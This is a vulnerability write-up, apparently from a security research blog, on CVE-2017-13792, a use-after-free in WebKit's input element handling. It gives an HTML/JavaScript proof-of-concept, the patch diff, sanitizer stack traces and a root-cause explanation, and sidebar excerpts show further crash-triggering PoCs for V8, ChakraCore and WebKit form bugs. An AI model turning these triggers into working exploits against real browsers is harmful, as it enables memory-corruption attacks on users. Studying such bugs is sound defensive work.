CVE-2017-13792: UaF in WebCore::InputType::element

-
PoC:
================================================================= <script> function go() { input.selectionDirection = "foo"; }
var i=0; function eventhandler() { i++; if(i==1) { input.setAttribute("autofocus", "autofocus"); div.appendChild(form); } if(i==2) { input.type = "image/x-unsupported"; } }
</script>
<body onload=go()> <div id="div"> <form id="form"> <input id="input" onfocus="eventhandler()" type="tel"> =================================================================
diff:
=================================================================
- if (event.isMouseEvent() - || event.type() == eventNames().blurEvent - || event.type() == eventNames().focusEvent) - { - element().document().updateStyleIfNeeded(); - - auto* renderer = element().renderer(); - if (element().renderer()) { - if (event.type() == eventNames().blurEvent) { - if (auto* innerTextRenderer = innerTextElement()->renderer()) { - if (auto* innerLayer = innerTextRenderer->layer()) { - bool isLeftToRightDirection = downcast<RenderTextControlSingleLine>(*renderer).style().isLeftToRightDirection(); - ScrollOffset scrollOffset(isLeftToRightDirection ? 0 : innerLayer->scrollWidth(), 0); - innerLayer->scrollToOffset(scrollOffset, RenderLayer::ScrollOffsetClamped); - } - } - capsLockStateMayHaveChanged(); - } else if (event.type() == eventNames().focusEvent) - capsLockStateMayHaveChanged(); - - element().forwardEvent(event); - } - } + bool isFocusEvent = event.type() == eventNames().focusEvent; + bool isBlurEvent = event.type() == eventNames().blurEvent; + if (isFocusEvent || isBlurEvent) + capsLockStateMayHaveChanged(); + if (event.isMouseEvent() || isFocusEvent || isBlurEvent) + element().forwardEvent(event); +} + +void TextFieldInputType::elementDidBlur() +{ + auto* renderer = element().renderer(); + if (!renderer) + return; + + auto* innerTextRenderer = innerTextElement()->renderer(); + if (!innerTextRenderer) + return; + + auto* innerLayer = innerTextRenderer->layer(); + if (!innerLayer) + return; + + bool isLeftToRightDirection = downcast<RenderTextControlSingleLine>(*renderer).style().isLeftToRightDirection(); + ScrollOffset scrollOffset(isLeftToRightDirection ? 0 : innerLayer->scrollWidth(), 0); + innerLayer->scrollToOffset(scrollOffset, RenderLayer::ScrollOffsetClamped);
=================================================================

Key function calls of this bug:




So that "onfocus" event was triggered twice.

Where did it free:

freed by thread T0 here:
    #0 0x10a37e294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11e0c9650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x111c873a8 in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8d3a8)
    #3 0x111c887b5 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8e7b5)
    #4 0x111847538 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94d538)
    #5 0x111855711 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x95b711)
    #6 0x111846fef in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94cfef)
    #7 0x1126f1366 in WebCore::setJSHTMLInputElementTypeSetter(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17f7366)

Use:

#0 0x10f18eedd in WebCore::InputType::element() const (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x515edd)
    #1 0x116325345 in WebCore::TextFieldInputType::forwardEvent(WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x76ac345)
    #2 0x110f27108 in WebCore::HTMLInputElement::defaultEventHandler(WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x22ae108)
    #3 0x110411d29 in WebCore::callDefaultEventHandlersInTheBubblingOrder(WebCore::Event&, WebCore::EventPath const&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x1798d29)
    #4 0x110411235 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x1798235)
    #5 0x11039e86c in WebCore::Element::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x172586c)
    #6 0x1110c5789 in WebCore::HTMLTextFormControlElement::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x244c789)
    #7 0x10ff94b51 in WebCore::Document::setFocusedElement(WebCore::Element*, WebCore::FocusDirection, WebCore::Document::FocusRemovalEventsMode) (/Users/murasaki/_debug/webkit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore:x86_64+0x131bb51)


Currently, TextFieldInputType::forwardEvent synchronously triggers style recomputation, for the purpose of scrolling to the origin upon handling a blur event, and also for updating caps lock state after a blur or focus. In synchronously triggering style recomputation, we may end up running arbitrary JavaScript, which may change the HTMLInputElement's type and cause the current TextFieldInputType to be destroyed.


Comments

Post a Comment

Popular posts from this blog

CVE-2017-5121 Escape Analysis

-
CVE-2017-5121 Escape Analysis PoC var func0 = function(f) { var o = { a: {}, b: { ba: {baa: 0, bab :[]}, bb: {}, bc: {bca: {bcaa: 0, bcab: 0, bcac: this}}, } }; o.b.bc.bca.bcab = 0; o.b.bb.bba = Object.toString(o.b.ba.bab); }; function g(){ while(true) func0(); } g(); Escape Analysis in V8 Analyze Source of Fields of Allocates: Traverse the IR graph(along Effect edge) to get the source of fields of Allocate void EscapeAnalysis::RunObjectAnalysis() { virtual_states_.resize(graph()->NodeCount()); ZoneDeque<Node*> queue(zone()); queue.push_back(graph()->start()); ZoneVector<Node*> danglers(zone()); while (!queue.empty()) { Node* node = queue.back(); queue.pop_back(); status_analysis_->SetInQueue(node->id(), false); if (Process(node)) { for (Edge edge : node->use_edges()) { Node* use = edge.from(); if (status_
Read more

CVE-2018-0777 Code Motion

-
CVE-2018-0777 Code Motion PoC function opt(arr, start, end) { for (let i = start; i < end; i++) { if (i === 10) { i += 0; // <<-- (a) } arr[i] = 2.3023e-320; } } function main() { let arr = new Array(100); arr.fill(1.1); for (let i = 0; i < 1000; i++) opt(arr, 0, 3); opt(arr, 0, 100000); } main(); //https://github.com/Microsoft/ChakraCore/commit/14c752b66f43ee6ecc8dd2f7f9d5378f6a91638e IR 这是 lower 之后的部分 IR: Line 6: arr[i] = 2.3023e-320; Col 9: ^ StatementBoundary #4 #001d GLOBOPT INSTR: BoundCheck 0 <= s18(s9).i32 #001d Bailout: #001d (BailOutOnArrayAccessHelperCall) TEST s18(s9).i32, s18(s9).i32 # JNSB $L18 # $L19: [helper]
Read more

Three UaFs when iterating through HTMLFormElement::associatedElements

-
First of all, lets look at CVE-2017-2460. It was reported in 2017-Jan-19. PoC: ================================================================= <script> function go() {   object.name = "foo";   input.autofocus = true;   output.appendChild(input);   form.submit(); } function eventhandler() {   for(var i=0;i<100;i++) {     var e = document.createElement("input");     form.appendChild(e);   } } </script> <body onload=go()> <form id="form"> <object id="object"> <output id="output">a</output> <input id="input" onfocus="eventhandler()"> ================================================================= Patch: @@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool)       if (name().isEmpty())           return false;  -    Widget* widget = pluginWidget();  +    // Use PluginLoadingPolicy::DoNotLoad here or
Read more